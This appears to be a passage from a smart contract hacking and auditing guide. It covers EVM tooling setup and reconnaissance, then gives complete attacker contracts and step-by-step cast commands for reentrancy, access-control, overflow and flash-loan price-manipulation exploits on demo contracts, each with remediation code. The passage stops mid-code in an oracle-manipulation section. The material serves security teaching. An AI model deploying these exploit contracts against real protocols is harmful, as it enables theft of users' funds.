Smart Contract Hacking & Auditing Notes#
These comprehensive notes guide you through smart contract vulnerabilities, detection methods, and exploitation techniques, with a focus on practical, executable commands and code snippets. Optimized for EVM-compatible blockchains (Ethereum, BSC, Polygon, Avalanche, Arbitrum, etc.).
Smart Contract Fundamentals#
EVM (Ethereum Virtual Machine): The runtime environment for smart contracts. Contracts compile to EVM bytecode and execute in a deterministic, gas-metered environment.
Solidity: The dominant high-level language for writing smart contracts on EVM chains. Key versions: 0.7.x
(vulnerable to overflows), 0.8.0+
(built-in overflow protection).
ABI (Application Binary Interface): JSON specification defining how to interact with a smart contract (function names, arguments, return types). Essential for calling contract functions.
Bytecode vs. Runtime Code:
- Creation bytecode: Includes constructor logic, only runs once during deployment
- Runtime bytecode: The actual contract code stored on-chain and executed for function calls
Gas Mechanics: Computation unit on EVM, paid in native cryptocurrency. Out-of-gas errors can be weaponized for DoS attacks.
Critical Address Concepts:
msg.sender
: Immediate caller of the function (can be EOA or contract)tx.origin
: Original transaction initiator (always EOA)- Security Rule: Never use
tx.origin
for authentication—it’s vulnerable to proxy contract attacks
Storage Layout: Understanding how Solidity packs variables into 32-byte storage slots is crucial for proxy patterns and storage collision attacks.
Setup & Environment#
Development Frameworks#
Foundry (Recommended for Security Testing)#
Fast, Solidity-native framework with excellent testing and fuzzing capabilities.
Installation:
# Install Foundry
curl -L https://foundry.paradigm.xyz | bash
foundryup
# Verify installation
forge --version
cast --version
anvil --version
Project Setup:
# Create new project
forge init my-contract-audit
cd my-contract-audit
# Install dependencies (example: OpenZeppelin)
forge install OpenZeppelin/openzeppelin-contracts
# Add remappings in foundry.toml
echo '[profile.default]
src = "src"
out = "out"
libs = ["lib"]
remappings = ["@openzeppelin/=lib/openzeppelin-contracts/"]' > foundry.toml
Basic Commands:
# Compile contracts
forge build
# Run tests with different verbosity levels
forge test # Basic output
forge test -v # Show test results
forge test -vv # Show logs
forge test -vvv # Show stack traces
forge test -vvvv # Show setup traces
forge test -vvvvv # Show execution traces
# Run specific test
forge test --match-test testName
# Run tests in specific file
forge test --match-path test/MyTest.t.sol
# Start local blockchain
anvil # Default: 10 accounts, 10000 ETH each
anvil --accounts 20 # Custom account count
anvil --balance 1000 # Custom balance per account
Forking Mainnet for Testing:
# Fork mainnet (requires RPC URL)
anvil --fork-url https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY
# Fork specific block
anvil --fork-url https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY --fork-block-number 18500000
# Deploy to forked network
forge create --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 src/MyContract.sol:MyContract
Hardhat (JavaScript Alternative)#
Popular JavaScript-based framework with extensive plugin ecosystem.
Setup:
# Initialize project
mkdir my-hardhat-project && cd my-hardhat-project
npm init -y
npm install --save-dev hardhat
# Create Hardhat project
npx hardhat init
# Choose: "Create a JavaScript project"
# Install additional dependencies
npm install --save-dev @nomiclabs/hardhat-ethers ethers @openzeppelin/contracts
Basic Commands:
# Compile contracts
npx hardhat compile
# Run tests
npx hardhat test
npx hardhat test --grep "specific test name"
# Start local network
npx hardhat node
# Deploy to local network
npx hardhat run scripts/deploy.js --network localhost
# Console interaction
npx hardhat console --network localhost
Analysis & Reconnaissance Tools#
Blockchain Explorers#
Etherscan and Forks:
- Etherscan: https://etherscan.io (Ethereum)
- BscScan: https://bscscan.com (BSC)
- PolygonScan: https://polygonscan.com (Polygon)
- Arbiscan: https://arbiscan.io (Arbitrum)
Key Investigation Steps:
Contract Page Navigation:
Contract Address → "Contract" tab → "Read Contract"/"Write Contract" Check "Is this a proxy?" indicator Download verified source code
Transaction Analysis:
Recent transactions → Internal txns → Events logs Look for failed transactions (potential attack attempts) Analyze gas usage patterns
Proxy Detection:
# Check if contract is a proxy using cast cast call --rpc-url https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY CONTRACT_ADDRESS "implementation()(address)" # Check storage slot 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc (EIP-1967) cast storage --rpc-url https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY CONTRACT_ADDRESS 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
Decompilers & Disassemblers#
Online Tools:
- Dedaub Contract Library: https://contract-library.dedaub.com/
- Provides decompilation, storage analysis, and security insights
- Usage: Paste contract address → Analyze bytecode and storage
- EVM Codes: https://www.evm.codes/
- EVM opcode reference and playground
- Usage: Input bytecode for opcode-level analysis
Command-Line Tools:
Panoramix (Palkeoramix):
# Installation
pip3 install panoramix
# Decompile from bytecode
panoramix <contract_address> --web3 <rpc_url>
# Decompile from file
panoramix --code $(cat bytecode.txt)
heimdall-rs (Modern Ethereum Toolkit):
# Installation
cargo install heimdall-rs
# Decompile contract
heimdall decompile <contract_address> --rpc-url <rpc_url>
# Decode function signatures
heimdall decode <calldata> --target signature
Reconnaissance & Initial Analysis#
Information Gathering Methodology#
1. Target Identification:
# Find contract addresses from project documentation
# Check GitHub repos for deployed addresses
grep -r "0x[a-fA-F0-9]{40}" docs/ contracts/
# Search Etherscan by token symbol or project name
# Use DeFiPulse, DeFiLlama for DeFi projects
2. Contract Verification Status:
# Check if source code is verified (critical for auditing)
curl -s "https://api.etherscan.io/api?module=contract&action=getsourcecode&address=${CONTRACT_ADDRESS}&apikey=${ETHERSCAN_API_KEY}"
# Download verified source code
mkdir contract_source && cd contract_source
# Copy from Etherscan "Contract" tab or use API
3. Proxy Pattern Detection:
# Common proxy detection methods
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "implementation()(address)"
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "admin()(address)"
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "owner()(address)"
# Check EIP-1967 storage slots
# Implementation slot
cast storage --rpc-url $RPC_URL $CONTRACT_ADDRESS 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
# Admin slot
cast storage --rpc-url $RPC_URL $CONTRACT_ADDRESS 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
4. Access Control Analysis:
# Identify key roles and permissions
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "hasRole(bytes32,address)(bool)" $ROLE_HASH $ADDRESS
# Check ownership
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "owner()(address)"
# Look for multi-sig implementations
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "getOwners()(address[])"
5. Asset and Balance Analysis:
# Check contract ETH balance
cast balance --rpc-url $RPC_URL $CONTRACT_ADDRESS
# Check ERC20 token balances
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "balanceOf(address)(uint256)" $CONTRACT_ADDRESS
# Total supply for tokens
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "totalSupply()(uint256)"
Static Analysis Checklist#
Constructor Analysis:
- Initial state configuration
- Ownership setup
- Critical parameter initialization
- Missing zero-address checks
Function Visibility Review:
- Public functions that should be internal/private
- Missing access control modifiers
- Dangerous external calls
State Variable Audit:
- Proper initialization
- Correct visibility (public/private)
- Immutable vs. mutable classifications
Modifier Implementation:
- Correct access control logic
- Proper error messages
- No reentrancy vulnerabilities in modifiers
Common Smart Contract Vulnerabilities & Exploitation#
1. Reentrancy Attacks [HIGH SEVERITY]#
Vulnerability Description: External calls to untrusted contracts before state updates allow attackers to recursively call back into the vulnerable function.
Detection Patterns:
// VULNERABLE PATTERN
function withdraw() external {
uint amount = balances[msg.sender];
(bool success,) = msg.sender.call{value: amount}(""); // External call first
require(success);
balances[msg.sender] = 0; // State update after call
}
Complete Exploitation Example:
Victim Contract (VulnerableBank.sol):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
constructor() payable {
// Initialize with some ETH for demonstration
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// VULNERABLE: External call before state update
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0; // Too late!
}
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
}
Attacker Contract (ReentrancyAttacker.sol):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IVulnerableBank {
function deposit() external payable;
function withdraw() external;
function balances(address) external view returns (uint256);
}
contract ReentrancyAttacker {
IVulnerableBank public immutable bank;
uint256 private constant ATTACK_AMOUNT = 1 ether;
constructor(address _bank) {
bank = IVulnerableBank(_bank);
}
function attack() external payable {
require(msg.value >= ATTACK_AMOUNT, "Need at least 1 ETH to attack");
// Deposit minimal amount to establish balance
bank.deposit{value: ATTACK_AMOUNT}();
// Start the reentrancy attack
bank.withdraw();
}
// This function is called when the bank sends ETH
receive() external payable {
// Continue attacking while the bank has funds
if (address(bank).balance >= ATTACK_AMOUNT) {
bank.withdraw();
}
}
function getAttackerBalance() external view returns (uint256) {
return address(this).balance;
}
function withdrawStolenFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
}
Step-by-Step Exploitation:
- Environment Setup:
# Terminal 1: Start Anvil
anvil
# Terminal 2: Set environment variables
export RPC_URL="http://127.0.0.1:8545"
export DEPLOYER_KEY="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80"
export ATTACKER_KEY="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"
export DEPLOYER_ADDR="0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266"
export ATTACKER_ADDR="0x70997970C51812dc3A010C7d01b50e0d17dc79C8"
- Deploy Vulnerable Contract:
# Deploy with initial funds
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
src/VulnerableBank.sol:VulnerableBank --value 10ether
# Note the deployed address
export BANK_ADDRESS="0x..." # Replace with actual address
- Deploy Attacker Contract:
forge create --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
src/ReentrancyAttacker.sol:ReentrancyAttacker $BANK_ADDRESS
export ATTACKER_CONTRACT="0x..." # Replace with actual address
- Execute Attack:
# Check initial bank balance
echo "Initial bank balance:"
cast call --rpc-url $RPC_URL $BANK_ADDRESS "getContractBalance()(uint256)"
# Execute the attack
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$ATTACKER_CONTRACT "attack()" --value 1ether
# Check post-attack balances
echo "Bank balance after attack:"
cast call --rpc-url $RPC_URL $BANK_ADDRESS "getContractBalance()(uint256)"
echo "Attacker balance:"
cast call --rpc-url $RPC_URL $ATTACKER_CONTRACT "getAttackerBalance()(uint256)"
Remediation Strategies:
1. Checks-Effects-Interactions Pattern:
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// Effects: Update state first
balances[msg.sender] = 0;
// Interactions: External calls last
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
2. Reentrancy Guard:
// Using OpenZeppelin's ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
function withdraw() external nonReentrant {
// Function logic here
}
}
3. Custom Reentrancy Guard:
contract ManualReentrancyGuard {
bool private locked;
modifier noReentrancy() {
require(!locked, "Reentrant call");
locked = true;
_;
locked = false;
}
function withdraw() external noReentrancy {
// Function logic here
}
}
2. Access Control Vulnerabilities [HIGH SEVERITY]#
Vulnerability Description: Insufficient or incorrect restrictions on who can execute sensitive functions, leading to unauthorized access to critical contract functionality.
Detection Patterns:
// VULNERABLE PATTERNS
function setPrice(uint256 _price) public { } // Missing access control
function transferOwnership(address newOwner) public { // Should be onlyOwner
owner = newOwner;
}
function mint(address to, uint256 amount) external { // Missing role check
_mint(to, amount);
}
Complete Exploitation Example:
Vulnerable Contract (InsecureToken.sol):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract InsecureToken {
mapping(address => uint256) public balances;
uint256 public totalSupply;
address public owner;
uint256 public price = 1 ether; // Price per token
constructor() {
owner = msg.sender;
totalSupply = 1000000 * 1e18;
balances[owner] = totalSupply;
}
// VULNERABLE: Missing onlyOwner modifier
function setPrice(uint256 _newPrice) public {
price = _newPrice;
}
// VULNERABLE: Missing access control
function mint(address _to, uint256 _amount) public {
balances[_to] += _amount;
totalSupply += _amount;
}
// VULNERABLE: Can transfer ownership to anyone
function transferOwnership(address _newOwner) public {
require(msg.sender == owner, "Only owner");
owner = _newOwner; // No validation or two-step process
}
function buyTokens() external payable {
require(msg.value >= price, "Insufficient payment");
uint256 tokens = msg.value / price;
balances[msg.sender] += tokens;
}
function getBalance(address _user) external view returns (uint256) {
return balances[_user];
}
}
Step-by-Step Exploitation:
- Deploy Contract:
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
src/InsecureToken.sol:InsecureToken
export TOKEN_ADDRESS="0x..." # Replace with actual address
- Exploit 1: Price Manipulation
# Check current price (1 ETH)
echo "Current price:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "price()(uint256)"
# Attacker sets price to nearly zero
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$TOKEN_ADDRESS "setPrice(uint256)" 1000000000000000 # 0.001 ETH
# Verify price change
echo "New price set by attacker:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "price()(uint256)"
# Buy tokens at manipulated price
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$TOKEN_ADDRESS "buyTokens()" --value 0.001ether
echo "Attacker token balance:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "getBalance(address)(uint256)" $ATTACKER_ADDR
- Exploit 2: Unauthorized Minting
# Check attacker's balance before minting
echo "Attacker balance before mint:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "getBalance(address)(uint256)" $ATTACKER_ADDR
# Mint tokens to attacker (should require authorization)
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$TOKEN_ADDRESS "mint(address,uint256)" $ATTACKER_ADDR 1000000000000000000000000
echo "Attacker balance after unauthorized mint:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "getBalance(address)(uint256)" $ATTACKER_ADDR
echo "Total supply after mint:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "totalSupply()(uint256)"
Remediation Strategies:
1. Proper Access Control with OpenZeppelin:
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
contract SecureToken is Ownable, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PRICE_SETTER_ROLE = keccak256("PRICE_SETTER_ROLE");
constructor() {
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(MINTER_ROLE, msg.sender);
_grantRole(PRICE_SETTER_ROLE, msg.sender);
}
function setPrice(uint256 _newPrice) public onlyRole(PRICE_SETTER_ROLE) {
require(_newPrice > 0, "Price must be positive");
price = _newPrice;
}
function mint(address _to, uint256 _amount) public onlyRole(MINTER_ROLE) {
require(_to != address(0), "Cannot mint to zero address");
balances[_to] += _amount;
totalSupply += _amount;
}
}
2. Two-Step Ownership Transfer:
import "@openzeppelin/contracts/access/Ownable2Step.sol";
contract SecureContract is Ownable2Step {
// Ownership transfer now requires acceptance from new owner
}
3. Integer Overflow/Underflow [MEDIUM-HIGH SEVERITY]#
Vulnerability Description: Arithmetic operations that exceed variable type limits, causing unexpected behavior. While Solidity 0.8.0+ has built-in protection, unchecked
blocks and older versions remain vulnerable.
Detection Patterns:
// VULNERABLE in Solidity < 0.8.0
function transfer(uint256 amount) external {
balances[msg.sender] -= amount; // Can underflow
balances[recipient] += amount; // Can overflow
}
// VULNERABLE in Solidity >= 0.8.0 with unchecked
function dangerousCalculation(uint256 a, uint256 b) external {
unchecked {
uint256 result = a - b; // Can underflow silently
}
}
Complete Exploitation Example:
Vulnerable Contract (OverflowToken.sol) - Solidity 0.7.6:
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6; // Vulnerable version
contract OverflowToken {
mapping(address => uint256) public balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) {
totalSupply = _initialSupply;
balances[msg.sender] = _initialSupply;
}
function transfer(address _to, uint256 _amount) external returns (bool) {
require(balances[msg.sender] >= _amount, "Insufficient balance");
// VULNERABLE: Can overflow/underflow in 0.7.6
balances[msg.sender] -= _amount;
balances[_to] += _amount;
return true;
}
// VULNERABLE: Batch operation without SafeMath
function batchTransfer(address[] calldata recipients, uint256[] calldata amounts) external {
require(recipients.length == amounts.length, "Array length mismatch");
uint256 totalAmount = 0;
for (uint256 i = 0; i < amounts.length; i++) {
totalAmount += amounts[i]; // Can overflow
}
require(balances[msg.sender] >= totalAmount, "Insufficient balance");
for (uint256 i = 0; i < recipients.length; i++) {
balances[msg.sender] -= amounts[i];
balances[recipients[i]] += amounts[i];
}
}
// Vulnerable fee calculation
function transferWithFee(address _to, uint256 _amount, uint256 _feePercent) external {
uint256 fee = (_amount * _feePercent) / 100; // Can overflow
uint256 netAmount = _amount - fee; // Can underflow
require(balances[msg.sender] >= _amount, "Insufficient balance");
balances[msg.sender] -= _amount;
balances[_to] += netAmount;
balances[address(this)] += fee;
}
}
Step-by-Step Exploitation:
- Compilation Setup for Older Solidity:
# Create foundry.toml for multiple Solidity versions
cat > foundry.toml << EOF
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc_version = "0.7.6"
optimizer = true
optimizer_runs = 200
[profile.modern]
solc_version = "0.8.19"
EOF
- Deploy Vulnerable Contract:
# Compile with 0.7.6
forge build --use 0.7.6
# Deploy
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
src/OverflowToken.sol:OverflowToken 1000000000000000000000000
export OVERFLOW_TOKEN="0x..." # Replace with actual address
- Exploit 1: Integer Overflow in Batch Transfer:
# Create attack contract or use cast for simple overflow
# This demonstrates overflow in totalAmount calculation
# Set up attack parameters (amounts that sum to overflow)
LARGE_AMOUNT="115792089237316195423570985008687907853269984665640564039457584007913129639935"
# Create batch transfer that overflows
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$OVERFLOW_TOKEN "batchTransfer(address[],uint256[])" \
"[$ATTACKER_ADDR,$DEPLOYER_ADDR]" \
"[$LARGE_AMOUNT,1]"
- Exploit 2: Underflow Attack:
// Attacker contract for more complex underflow
contract UnderflowAttacker {
OverflowToken public token;
constructor(address _token) {
token = OverflowToken(_token);
}
function underflowAttack() external {
// If attacker has 0 balance, try to transfer 1 token
// This will underflow balances[attacker] to max uint256
token.transfer(msg.sender, 1);
}
}
Remediation Strategies:
1. Use SafeMath for Solidity < 0.8.0:
pragma solidity 0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract SecureToken {
using SafeMath for uint256;
function transfer(address _to, uint256 _amount) external returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
return true;
}
}
2. Upgrade to Solidity 0.8.0+ (Recommended):
pragma solidity ^0.8.0;
contract ModernSecureToken {
function transfer(address _to, uint256 _amount) external returns (bool) {
// Built-in overflow/underflow protection
balances[msg.sender] -= _amount; // Reverts on underflow
balances[_to] += _amount; // Reverts on overflow
return true;
}
}
3. Careful Use of Unchecked Blocks:
function efficientIncrement(uint256 i) external pure returns (uint256) {
// Only use unchecked when you're certain no overflow can occur
unchecked {
return i + 1; // Only safe if i < type(uint256).max
}
}
4. Flash Loan Attacks [HIGH SEVERITY]#
Vulnerability Description: Exploiting protocols using flash loans to manipulate prices, drain liquidity, or exploit business logic vulnerabilities that depend on instant large capital movements.
Detection Patterns:
- Single-source price oracles (especially AMM spot prices)
- Logic dependent on token ratios or reserves
- Liquidation mechanisms using manipulable price feeds
- Governance tokens with immediate voting power
Complete Exploitation Example:
Vulnerable DeFi Protocol (VulnerableVault.sol):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Simplified Uniswap-like pair interface
interface ISimplePair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function token0() external view returns (address);
function token1() external view returns (address);
}
contract VulnerableVault {
IERC20 public immutable token;
ISimplePair public immutable pricePair; // Used for price oracle
mapping(address => uint256) public deposits;
uint256 public totalDeposits;
constructor(address _token, address _pricePair) {
token = IERC20(_token);
pricePair = ISimplePair(_pricePair);
}
function deposit(uint256 amount) external {
token.transferFrom(msg.sender, address(this), amount);
deposits[msg.sender] += amount;
totalDeposits += amount;
}
// VULNERABLE: Uses spot price from AMM
function getTokenPrice() public view returns (uint256) {
(uint112 reserve0, uint112 reserve1) = pricePair.getReserves();
if (pricePair.token0() == address(token)) {
return (uint256(reserve1) * 1e18) / uint256(reserve0);
} else {
return (uint256(reserve0) * 1e18) / uint256(reserve1);
}
}
// VULNERABLE: Withdrawal based on manipulable price
function emergencyWithdraw() external {
uint256 userDeposit = deposits[msg.sender];
require(userDeposit > 0, "No deposit");
uint256 currentPrice = getTokenPrice();
// If price drops below threshold, allow emergency withdraw with bonus
if (currentPrice < 0.5e18) { // 50% of initial price
uint256 bonus = userDeposit / 10; // 10% bonus
uint256 totalWithdraw = userDeposit + bonus;
deposits[msg.sender] = 0;
totalDeposits -= userDeposit;
token.transfer(msg.sender, totalWithdraw);
} else {
revert("Emergency conditions not met");
}
}
}
// Flash loan provider interface (simplified Uniswap V2 style)
interface IFlashLoanProvider {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract FlashLoanAttacker {
VulnerableVault public immutable vault;
ISimplePair public immutable pair;
IFlashLoanProvider public immutable flashLoanProvider;
IERC20 public immutable targetToken;
IERC20 public immutable otherToken;
uint256 private constant DEPOSIT_AMOUNT = 100e18;
constructor(
address _vault,
address _pair,
address _flashLoanProvider,
address _targetToken,
address _otherToken
) {
vault = VulnerableVault(_vault);
pair = ISimplePair(_pair);
flashLoanProvider = IFlashLoanProvider(_flashLoanProvider);
targetToken = IERC20(_targetToken);
otherToken = IERC20(_otherToken);
}
function attack() external {
// Step 1: Make a legitimate deposit first
targetToken.transferFrom(msg.sender, address(this), DEPOSIT_AMOUNT);
targetToken.approve(address(vault), DEPOSIT_AMOUNT);
vault.deposit(DEPOSIT_AMOUNT);
// Step 2: Initiate flash loan to manipulate price
// Borrow a large amount of the other token to dump target token price
uint256 flashAmount = otherToken.balanceOf(address(pair)) / 2;
// The flash loan callback will be triggered
flashLoanProvider.swap(0, flashAmount, address(this), abi.encode(flashAmount));
}
// Flash loan callback - this is where the manipulation happens
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
require(msg.sender == address(flashLoanProvider), "Only flash loan provider");
uint256 flashAmount = abi.decode(data, (uint256));
// Step 3: Use borrowed tokens to manipulate price
// Swap all borrowed otherToken for targetToken, crashing targetToken price
uint256 otherTokenBalance = otherToken.balanceOf(address(this));
otherToken.approve(address(pair), otherTokenBalance);
// Calculate how much targetToken we'll get (this will crash the price)
(uint112 reserve0, uint112 reserve1) = pair.getReserves();
uint256 targetTokenOut;
if (pair.token0() == address(targetToken)) {
targetTokenOut = (otherTokenBalance * reserve0) / (reserve1 + otherTokenBalance);
} else {
targetTokenOut = (otherTokenBalance * reserve1) / (reserve0 + otherTokenBalance);
}
// Execute the swap that crashes the price
if (pair.token0() == address(targetToken)) {
pair.swap(targetTokenOut, 0, address(this), "");
} else {
pair.swap(0, targetTokenOut, address(this), "");
}
// Step 4: Now exploit the vault at crashed price
vault.emergencyWithdraw();
// Step 5: Reverse the price manipulation
// Swap back some targetToken to restore price and repay flash loan
uint256 targetTokenBalance = targetToken.balanceOf(address(this));
uint256 repayAmount = flashAmount + (flashAmount * 3 / 1000); // 0.3% fee
// Calculate how much targetToken to swap back
uint256 targetTokenToSwap = (repayAmount * targetTokenBalance) / otherToken.balanceOf(address(this));
targetToken.approve(address(pair), targetTokenToSwap);
if (pair.token0() == address(targetToken)) {
pair.swap(0, repayAmount, address(this), "");
} else {
pair.swap(repayAmount, 0, address(this), "");
}
// Step 6: Repay flash loan
otherToken.transfer(address(flashLoanProvider), repayAmount);
}
function withdrawProfits() external {
targetToken.transfer(msg.sender, targetToken.balanceOf(address(this)));
otherToken.transfer(msg.sender, otherToken.balanceOf(address(this)));
}
}
Step-by-Step Flash Loan Attack Execution:
- Environment Setup with Mainnet Fork:
# Fork Ethereum mainnet to access real DEX liquidity
anvil --fork-url https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY \
--fork-block-number 18500000
# Set environment variables
export RPC_URL="http://127.0.0.1:8545"
export DEPLOYER_KEY="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80"
export ATTACKER_KEY="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"
# Use real token addresses (example: USDC/ETH pair)
export TARGET_TOKEN="0xA0b86a33E6417c7e3c3C8F4b8ba7b1Cb2D6eE7dF" # Example token
export OTHER_TOKEN="0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2" # WETH
export PAIR_ADDRESS="0x..." # Uniswap V2 pair address
- Deploy Vulnerable Vault:
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
src/VulnerableVault.sol:VulnerableVault $TARGET_TOKEN $PAIR_ADDRESS
export VAULT_ADDRESS="0x..."
- Deploy Attacker Contract:
forge create --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
src/FlashLoanAttacker.sol:FlashLoanAttacker \
$VAULT_ADDRESS $PAIR_ADDRESS $PAIR_ADDRESS $TARGET_TOKEN $OTHER_TOKEN
export ATTACKER_CONTRACT="0x..."
- Execute Flash Loan Attack:
# Fund attacker with initial tokens
cast send --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
$TARGET_TOKEN "transfer(address,uint256)" $ATTACKER_ADDR 1000000000000000000000
# Approve attacker contract to spend tokens
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$TARGET_TOKEN "approve(address,uint256)" $ATTACKER_CONTRACT 1000000000000000000000
# Execute the attack
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$ATTACKER_CONTRACT "attack()"
# Check profits
cast call --rpc-url $RPC_URL $ATTACKER_CONTRACT "withdrawProfits()"
Remediation Strategies:
1. Use Time-Weighted Average Price (TWAP) Oracles:
import "@uniswap/v2-periphery/contracts/libraries/UniswapV2OracleLibrary.sol";
contract SecureVault {
uint32 private constant PERIOD = 3600; // 1 hour TWAP
function getSecurePrice() public view returns (uint256) {
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
if (timeElapsed >= PERIOD) {
// Calculate TWAP over the period
return UniswapV2OracleLibrary.consult(pair, PERIOD);
} else {
revert("TWAP period not elapsed");
}
}
}
2. Use Chainlink Price Feeds:
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract ChainlinkSecureVault {
AggregatorV3Interface internal priceFeed;
constructor() {
priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); // ETH/USD
}
function getLatestPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(timeStamp > 0, "Round not complete");
require(block.timestamp - timeStamp < 3600, "Price too stale"); // 1 hour staleness check
return price;
}
}
3. Implement Circuit Breakers:
contract CircuitBreakerVault {
uint256 private lastPrice;
uint256 private constant MAX_PRICE_DEVIATION = 10; // 10%
function updatePrice() external {
uint256 newPrice = getOraclePrice();
if (lastPrice > 0) {
uint256 priceChange = newPrice > lastPrice
? ((newPrice - lastPrice) * 100) / lastPrice
: ((lastPrice - newPrice) * 100) / lastPrice;
require(priceChange <= MAX_PRICE_DEVIATION, "Price change too large");
}
lastPrice = newPrice;
}
}
5. Oracle Manipulation [HIGH SEVERITY]#
Vulnerability Description: Exploiting or manipulating external data sources that smart contracts rely on for critical decisions, particularly price feeds from DEXs or centralized oracles.
Detection Patterns:
- Single oracle dependency
- Direct use of AMM reserves for pricing
- No staleness checks on price data
- Lack of price deviation protection
Complete Exploitation Example:
Vulnerable Lending Protocol (OracleVulnerableLending.sol):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IPriceOracle {
function getPrice(address token) external view returns (uint256);
}
// Simple AMM-based oracle (vulnerable to manipulation)
contract VulnerableOracle is IPriceOracle {
mapping(address => address) public tokenPairs; // token => pair address
function setPair(address token, address pair) external {
tokenPairs[token] = pair;
}
function getPrice(address token) external view returns (uint256) {
address pairAddress = tokenPairs[token];
require(pairAddress != address(0), "Pair not set");
ISimplePair pair = ISimplePair(pairAddress);
(uint112 reserve0, uint112 reserve1) = pair.getReserves();
// VULNERABLE: Direct spot price calculation
if (pair.token0() == token) {
return (uint256(reserve1) * 1e18) / uint256(reserve0);
} else {
return (uint256(reserve0) * 1e18) / uint256(reserve1);
}
}
}
contract VulnerableLending {
IPriceOracle public immutable oracle;
IERC20 public immutable collateralToken;
IERC20 public immutable loanToken;
mapping(address => uint256) public collateralBalances;
mapping(address => uint256) public loanBalances;
uint256 public constant COLLATERAL_RATIO = 150; // 150% collateralization
uint256 public constant LIQUIDATION_THRESHOLD = 120; // 120% liquidation threshold
constructor(address _oracle, address _collateralToken, address _loanToken) {
oracle = IPriceOracle(_oracle);
collateralToken = IERC20(_collateralToken);
loanToken = IERC20(_loanToken);
}
function depositCollateral(uint256 amount) external {
